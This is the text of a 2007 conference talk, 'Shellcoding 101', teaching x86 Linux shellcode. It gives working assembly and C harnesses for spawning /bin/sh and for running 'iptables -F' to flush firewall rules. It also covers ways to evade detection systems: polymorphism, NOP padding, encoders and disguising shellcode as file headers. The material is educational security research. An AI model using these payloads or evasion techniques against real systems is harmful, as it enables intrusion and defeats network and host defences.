```
char shellcode[]=

“\x31\xdb”
“\xf7\xe3”
“\x66\x68”
“\x21\x0a”
“\x68\x64”
“\x65\x65”
“\x73\x68\x74\x74\x65\x6e”
“\x68\x6e\x65\x20\x41\x68”
“\x79\x65\x72\x4f\x68\x6f”
“\x20\x4c\x61\x68\x48\x65”
“\x6c\x6c\xb0\x04\x43\x89”
                “\xe1\xb2”
                “\x1a\xcd”
                “\x80\x31”
                “\xc0\x40”
                “\xcd\x80”
;
int main(void){
void (*sh)()=(void *)&shellcode;
sh();
return 0;
}
```

Shellcoding 101

by datagram
datagram.layerone@gmail.com

LayerOne 2007

About Me

- Mild mannered Sys. Admin
- C, C++, Python, ASM, etc programmer
- Spoke at L1, Defcon, & Toorcon in 2006
- After hours crime fighter/superhero

What is Shellcode?

- Traditionally: shell spawning code

- Now: synonymous with “payload”

- Single segment assembly code
- Post-EIP hijacking execution

Why Targeted Shellcode?

- /bin/sh does offer most flexibility

- Flexibility is unnecessary
- Smaller memory footprint
- “Less obvious” footprint

- Shell isn’t always best/easiest solution

The Enemies

- NIDS
  - Static/signature analysis
- HIDS
  - Daemon baselines (syscalls, file access, etc)
- IPS
  - Sandboxing
- System Customization
- Protocol Restrictions
  - Buffer size
  - Character/op-code restrictions

Basic Shellcode

- Single segment
- No null/restricted bytes

- Load data into ASM registers/stack
- Call kernel software interrupt

Linux System Calls

- Software level Kernel interrupt
  - int 0x80 (\xcd\x80)
- Basic format:
  - eax: syscall #
  - ebx, ecx, edx, stack, etc: everything else
- man 2 <syscall>
- /usr/include/asm/unistd.h

Linux System Calls

- exit(0);
  - exit(int status);

  - eax: sycall number (0x01)
  - ebx: return value

```
xor eax, eax    ; zero out eax
mov ebx, eax    ; copy 0 to ebx
inc eax         ; set eax to 1
int 0x80        ; call kernel
```

Writing to the Console

- write(1, &shellcode, 26);

- eax = syscall 4
- ebx = output (stdout = 1)
- ecx = string address
- edx = string length

- exit(0) afterwards optional (no seg faults == good)

```
xor ecx, ecx
mul ecx
push word 0x0a21 ; push string
push 0x73656564  ; to stack in
push 0x6e657474  ; reverse
push 0x4120656e
push 0x4f726579
push 0x614c206f
push 0x6c6c6548
mov al, 0x04     ; syscall = 4
inc ebx          ; stdout = 1
mov ecx, esp     ; address = esp
mov dl, 0x1a     ; length = 26
int 0x80         ; call kernel
```

Compiling in C

- Simple template:

```
char shellcode[] = “\xde\xad\xbe\xef”; // big endian!

int main(void){
    int *ret;
    ret = (int *)&ret;
    (*ret) = (int) &shellcode;
    return 0;
}
```

- Change (int *)&ret to begin at different offsets

Spawning a Shell

- execve(‘/bin/sh’, [‘/bin/sh’], NULL);
  - execve(const char *path, char *const argv[], char *const envp[]);

```
xor ecx, ecx                ; clear ecx
push ecx                    ; push NULL
push 0x68732f2f             ; push ‘//sh’
push 0x6e69622f             ; push ‘/bin’
mov ebx, esp                ; *path to ebx
push ecx                    ; push NULL
push ebx                    ; push [‘/bin//sh, NULL’]
mov ecx, esp                ; argv[] to ecx
xor edx, edx                ; edx NULL (envp)
mov al, 0x0b                ; syscall 11
int 0x80                    ; call kernel
```

- Can be optimized by a few bytes…how?

Another Example

- /sbin/iptables –F
  - execve(“/sbin/iptables”, [“/sbin/iptables”, “-F”], NULL);
- What is missing from this?
  - How to solve?

```
push 0x0b
pop eax                    ; syscall 11
cdq                        ; xor edx
push edx
push word 0x462d ; push ‘-F’
mov ecx, esp
push edx
push word 0x7365  ; push ‘es’
push 0x6c626174   ; push ‘tabl’
push 0x70692f6e   ; push ‘n/ip’
push 0x6962732f   ; push ‘/sbi’
mov ebx, esp               ; *path
push edx
push ecx
push ebx
mov ecx, esp               ; argv[]
int 0x80
```

Advanced Shellcoding

- ASCII/Op-code Restrictions
- Polymorphism
- Encoding
- File Obfuscation/“Blending”
- Anti-System Customization

ASCII/Opcode Restrictions

- ASCII only: 0x21 – 0x7f
  - UTF-8 safe: 0x7f max
- Buffer/data manipulation:
  - tolower(), toupper(), "stack clearing," etc
    - tolower() safe: NO 0x41 - 0x5a
    - toupper() safe: NO 0x61 - 0x7a
- Protocol Restrictions
  - EOL/EOF characters, etc
- Dissembler (http://phiral.com)

Polymorphism vs. Encoding

- Polymorphism != Encoding

- All different:
  - – Polymorphism
  - – Encoders
  - – Polymorphic Shellcode Encoders

Polymorphism

- Ability of shellcode to exist in “many forms”
- Complex! Hard to automate efficiently.
- 3 General Areas:
  - Instruction usage
  - Instruction order
  - NOP padding

Instruction Usage

- Extremely flexible

- Examples:
  - mov eax, 0x00 == xor eax, eax
  - mov al, 0x01 == push byte 0x01; pop eax
xor eax, eax; inc eax
  - xor ax, ax == and ax, 0x1110; and ax, 0x0001

Instruction Order

- Simple and effective
  - Avoid jmp/call tricks (easy to fingerprint*)
- Earlier write() as an example:

```
xor ecx, ecx
mul ecx
push word 0x0a21
push 0x73656564
push 0x6e657474
push 0x4120656e
push 0x4f726579
push 0x614c206f
push 0x6c6c6548
xor eax, eax
mov al, 0x04
inc ebx
xor ecx, ecx
mov ecx, esp
mov dl, 0x1a
int 0x80
```

```
xor eax, eax
push word 0x0a21
xor ecx, ecx
push 0x73656564
push 0x6e657474
mul ecx
push 0x4120656e
mov al, 0x04
inc ebx
push 0x4f726579
push 0x614c206f
mov dl, 0x1a
push 0x6c6c6548
mov ecx, esp
int 0x80
```

NOP Padding

- Randomly insert NOPs
- More than NOP (\x90)!
- “dead” registers especially useful
- Prominent NIDS signature method

exit(0);

```
mov ecx, esp        ;*
nop                 ;*
xor eax, eax
push 0xA20F935 ;*
inc eax
dec ebx             ;*
mov ebx, eax
xor ecx, ecx        ;*
int 0x80
```

Polymorphism Example

- Madwifi-ng Remote BoF
  - exploit by Lorcon
- Essentially:
  - write()
  - exit()
- Could be improved:
  - jmp/call
    - easy to fingerprint
    - sometimes size inefficient
  - Many XORs, optimizable

```
jmp short 0x14
pop ecx
xor ebx, ebx
xor edx, edx
mov dl, 0x1b
xor eax,eax
mov [ecx+edx], al
mov al, 0x04
int 0x80
mov al, 0x01
int 0x80
call -0x18
db "Stop sniffing our network!!“
```

Polymorphism Example

```
; Original: 53 bytes

    jmp short 0x14
    pop ecx

    xor ebx, ebx
    xor edx, edx
    mov dl, 0x1b
    xor eax,eax
    mov [ecx+edx], al
    mov al, 0x04
    int 0x80
    mov al, 0x01
    int 0x80

    call -0x18
    db "Stop sniffing our network!!“
```

```
; New: 42 bytes base, w/ NOPs:
; push dword is +1 byte (0x0a); more flexible*

    mov ecx, 0x54832219
    push 0x0a21216b
    xor ecx, ecx
    mul ecx
    inc eax
    mov al, 0x04
    push 0x726f7774
    push 0x656e2072
    xor ebx,ebx
    push 0x756f2067
    mov bl, 0x01
    push 0x6e696666
    push 0x696e7320
    mov dl, 0x1c
    push 0x706f7453
    mov ecx, esp
    int 0x80
    mov al, 0x01
    push word 0x4146
    int 0x80
```

Encoders

- Decode shellcode on stack
- Jump to and execute

- Easier than polymorphism

- Useful for toupper(), tolower() evasion

Encoders

```
pushl $0x81cee28a ; push shellcode to
pushl $0x54530cb1 ; stack in reverse
pushl $0xe48a6f6a
pushl $0x63306901
pushl $0x69743069
pushl $0x14
popl %ecx          ; ecx = 20, shellcode length

_unpack_loop:      ; decoding loop (simple...though effective)
         decb (%esp, %ecx, 1)
         decl %ecx
         jns _unpack_loop

incl %ecx          ; ecx 0 (-1 after loop)
mul %ecx
push %esp
```

Polymorphic Shellcode Encoders

- Encoders with ‘polymorphic features’
- Generally automated

- Ex: Shikata Ga Nai, CLET, ADMutate

- Vlad902’s research synopsis:
  - They all suck :/

Shellcode Blending

- Spoofing filetypes

```
$ echo -e '\x44\x4f\x53\x00' > shell.bin && file shell.bin
shell.bin: Amiga DOS disk
$ echo -e '\xc5\xc6\xcb\xc3' > shell.bin && file shell.bin
shell.bin: RISC OS Chunk data
```

- /etc/file/magic (FC6: /usr/lib/rpm/magic)
- man 1 file
- man 5 magic

Blending Example

- Zip Header: PK\x03\x04 (byte 5 is variable)

```
db 0x50                 ; push eax
db 0x4b                 ; dec ebx
db 0x03,0x04,0x14       ; add eax, [esp+edx]
     --Continue with shellcode--
```

- Account for modified registers
- Don’t start on ‘bad’ opcodes! (jmp, call, ret, etc)

Anti-System Customization

- “Smart” shellcode
  - /bin/bash –c “\`which iptables\` -F”
- Non-standard shell detection
  - http://tty64.org
- Depends on level of information

Resources

- Books
  - Shellcoder's Handbook, by Koziol, Litchfield, Aitel, Anley, et al.
  - Hacking: The Art of Exploitation, by Erickson.
  - The 8088 and 8086 Microprocessors, by Treibel & Singh
- Sites
  - Milw0rm.com
  - Shellcode.org
- Supplementary:
  - Linkers and Loaders, by Levine
  - Memory as a Programming Concept in C/C++, by Franek
  - Research of overflows and general exploitation

Questions?

Thanks

- L1 Staff!
- Vlad902, Polymorphic encoders research
  - http://www.metasploit.com
- Itzik Kotler, Blended shellcode research
  - http://www.tty64.org
- LORCON, Madwifi exploit payload
  - http://802.11ninja.net